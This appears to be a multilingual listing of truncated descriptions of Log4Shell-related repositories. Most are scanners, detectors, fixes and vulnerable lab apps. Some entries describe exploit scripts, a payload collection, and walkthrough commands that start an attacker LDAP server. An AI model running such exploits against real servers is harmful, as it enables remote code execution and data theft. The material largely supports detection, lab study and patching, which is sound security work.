log4shell

log4shell पायथन स्क्रिप्ट जो सर्वर फ़ाइल सिस्टम को log4j जार के लिए स्कैन करती है जो CVE-2021-44228 और CVE-2021-45046 के प्रति संवेदनशील हैं। स्क्रिप्ट फ़ाइल सिस्टम zip, ear, war सहित में पुनरावर्ती रूप से जाती है और log4j संस्करण 2. से 2.15 को org/apache/logging/log4j/core/lookup/JndiLookup.clas...

text4shell-scan

text4shell-scan पूरी तरह से स्वचालित, सटीक और व्यापक स्कैनर जो कमजोर text4shell होस्ट खोजने के लिए है। विशेषताएँ URL सूचियों के लिए समर्थन। 60 से अधिक HTTP अनुरोध हेडर्स के लिए फ़ज़िंग। HTTP POST डेटा पैरामीटर्स के लिए फ़ज़िंग। JSON डेटा पैरामीटर्स के लिए फ़ज़िंग। भेद्यता खोज और सत्यापन के लिए DN...

log4j

💻 -h3x0v3rl0rd- استغلال ثغرة log4j CVE-2021-44228 TryHackMe Solar، شرح عملي root@kitploit: git clone https://github.com/n3rdh4x0r/log4j.git 1. تشغيل log4j.py سيؤدي هذا إلى تثبيت جميع التطبيقات الضرورية وتشغيل خادم LDAP root@kitploit: ifconfig tun0 python3 log4j.py 10.8.227.251 2. إضافة عنوان IP...

log4shell-homework9

Homework 9 – Securing Systems Against Log4Shell Exploits Overview This project demonstrates the exploitation and mitigation of the Log4Shell vulnerability CVE-2021-44228 using a Dockerized Java web application with vulnerable Log4j 2.14.1. The setup also includes a simulated malicious LDAP server...

log4j-finder

log4j-finder سكريبت بلغة Python3 لمسح نظام الملفات للعثور على Log4j2 المعرض لثغرة Log4Shell CVE-2021-44228 و CVE-2021-45046 و CVE-2021-45105. يقوم بالمسح بشكل متكرر على القرص وداخل ملفات أرشيف Java JARs المتداخلة. كيف يعمل يحدد log4j-finder مكتبات log4j2 على نظام الملفات الخاص بك باستخدام قائمة م...

log4j-quick-scan

log4j-quick-scan Scan your IP network and determine hosts with possible CVE-2021-44228 vulnerability in log4j library. There are far better and advanced tools for security audit, but many of them requires commercial penetration software or external, 3rd party service or software. This script is...

log4j

Log4J Zero-Day Compilation de découvertes OSINT sur log4j, incluant la Détection, la Surface d'Attaque, l'Atténuation et les IoC. I. Vue d'ensemble Résumé Cette vulnérabilité permet à tout attaquant capable d'injecter du texte dans les messages de journalisation ou les paramètres de messages de...

LogJackFix

LogJack Fix A spigot plugin to fix CVE-2021-44228 Log4j remote code execution vulnerability, to protect Minecraft clients. Building root@kitploit: gradle build License Licensed under GPLv3 Copyright c 2021 lordpipe Contributing By making a contribution to this repository, I certify that: a The...

CVE-2021-44228-docker-example

CVE-2021-44228-docker-example CVE-2021-44228 का एक सरल प्रदर्शन जो एक असुरक्षित सर्वर से एक हमलावर द्वारा नियंत्रित वेब सेवा में डेटा स्थानांतरित करता है। सभी घटक Docker के माध्यम से चल रहे हैं। घटक vulnerable-server यह एक मानक Java सर्वर है जो पीड़ित के रूप में कार्य करता है। इसमें चल रहे हैं:...

Log4j-Scanner-Exploit

Log4Shell-Scanner-Exploit बैश स्क्रिप्ट जो दूरस्थ रूप से Log4shell कमजोरी की पहचान और/या शोषण करने की अनुमति देती है। यह उपकरण LDAP payloads और X-Api-Version, User-Agent और X-Forwarded-For हेडर का उपयोग करके विभिन्न परीक्षण करता है। इस स्क्रिप्ट का उपयोग हमेशा ऑडिट की गई सेवा/एप्लिकेशन के मालिक क...

VcenterKiller

VcenterKiller -1. Note For those setting up a vulnerable environment locally, using vckiller to verify log4j will mostly fail, because under VMware's NAT mode, the outgoing network interface in the verification module will be determined as 127.0.0.1, causing the target's LDAP Server address to...

Log4j_Attacker_IPList

Log4jAttackerIPList CVE-2021-44228 Log4j Attacker Ip List.xlsx...

cve-2021-44228-helpers

CVE-2021-44228 Helpers Helpers, examples, and exploits for cve-2021-44228. Associated blog post: https://blog.uint0.dev/cve-2021-44228/ Helpers Echo chamber cd echochamber Logs input via log4j. Build : ./gradlew build Run : ./gradlew run --console=plain Ldap Exfil Server cd ldap-listener Ldap...

CVE-2021-44228

CVE-2021-44228 إعادة إنتاج الثغرة 1. قم بتشغيل RmiServer أولاً لإنشاء خدمة سجل RMI. 2. قم بتشغيل Log4jTest، إذا كنت تستخدم Windows، ستظهر الآلة الحاسبة...

log4j-docker

Log4j Vulnerability - Proof-of-concept This repo has the docker and k8s YAMLs that are needed to recreate the log4j vulnerability seel below. Follow this blog to understand how all of this is tied together. Build Docker Images In case you need to customize the docker images root@kitploit: cd...

Log4Shell-Payloads

🚨 Log4Shell Payloads Collection A curated list of Log4Shell / Log4J exploitation payloads targeting: CVE-2021-45046 CVE-2022-42889 🔗 By @nav1n0x 🔥 One-Liner Payloads ✅ Oneliner 1 root@kitploit: cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...

spring-boot-log4j-cve-2021-44228-docker-lab

Spring Boot Log4j - CVE-2021-44228 The Log4Shell vulnerability CVE-2021-44228 ultimately is a quite simple JNDI Injection flaw, but in a really really bad place. Log4J will perform a JNDI lookup while expanding placeholders in logging messages or indirectly as parameters for formatted messages...

l4s-vulnapp

تطبيق Log4Shell الضعيف l4s-vulnapp هذا تطبيق ويب Java يحتمل أن يكون ضعيفًا ويحتوي على Log4j 2.14.1 المتأثر بـ log4shell CVE-2021-44228. البيئة المثبتة والإصدارات المختلفة AdoptOpenJDK 17.0.10+7 Gradle 8.6 Gretty 4.1.2 Apache Tomcat 10.1.15 Apache Log4j Core 2.14.1 التحضير قم بتنزيل واستخراج ملف z...

detect-log4j-exploitable

CVE-2021-44228 An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. This script will help to detect log4j exploit from the running process. It helps to find if any system is exploitable ...

XSYS-Log4J2Shell-Ex

XSYS-Log4J2Shell-Ex CVE-2021-44228 log4j2shell PoC as part of a security research for a vulnerability patch Overview root@kitploit: In this repository I will cover several topics and implementations which provide a PROOF OF CONCEPT regarding the Log4J 2.17.0 vulnerability . The main goal is to...